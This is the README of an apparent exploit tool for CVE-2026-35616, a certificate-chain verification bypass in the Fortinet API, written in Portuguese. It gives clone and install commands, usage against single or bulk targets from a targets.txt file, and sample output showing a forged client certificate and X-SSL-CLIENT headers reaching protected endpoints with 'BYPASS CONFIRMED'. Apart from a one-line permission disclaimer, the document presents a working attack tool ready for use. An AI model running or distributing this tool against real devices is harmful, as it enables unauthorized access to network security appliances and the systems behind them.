
Script de exploração para o CVE-2026-35616 que contorna a verificação da cadeia de certificados na API da Fortinet ao descobrir CNs válidos, gerar um certificado de cliente forjado e sondar endpoints protegidos com cabeçalhos personalizados.
Exploração da vulnerabilidade de bypass da verificação da cadeia de certificados na API Fortinet.
O script detecta automaticamente Common Names (CN) válidos de várias fontes,
gera um certificado de cliente falsificado e executa requisições a endpoints protegidos
usando os cabeçalhos X-SSL-CLIENT-VERIFY e X-SSL-CLIENT-CERT.
!!!Importante: Use apenas em sistemas nos quais você tenha permissão explícita para testar.
requestscryptographyurllib3openssl (para detecção avançada de CA via handshake TLS)# Clonando o projeto
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Instalando dependências
pip install -r requirements.txt
## Uso
# Execução básica
python3 exploit.py
# Especificando alvo e porta
python3 exploit.py <TARGET_IP> [PORT]
# Exemplos:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Formato do arquivo de alvos (targets.txt)
Para testes em massa, crie um arquivo targets.txt com um endereço de destino por linha:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# Arquivos de saída
Em caso de execução bem-sucedida, o script cria:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — relatório detalhado em formato JSON com:
O CN utilizado
Status de resposta para cada endpoint
Prefixos de resposta para análise
# Estrutura de saída
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Discovering CA CNs from multiple sources...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support
[*] Testing 2 candidate CN(s) for bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED
[*] Probing all cert_chain endpoints with CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json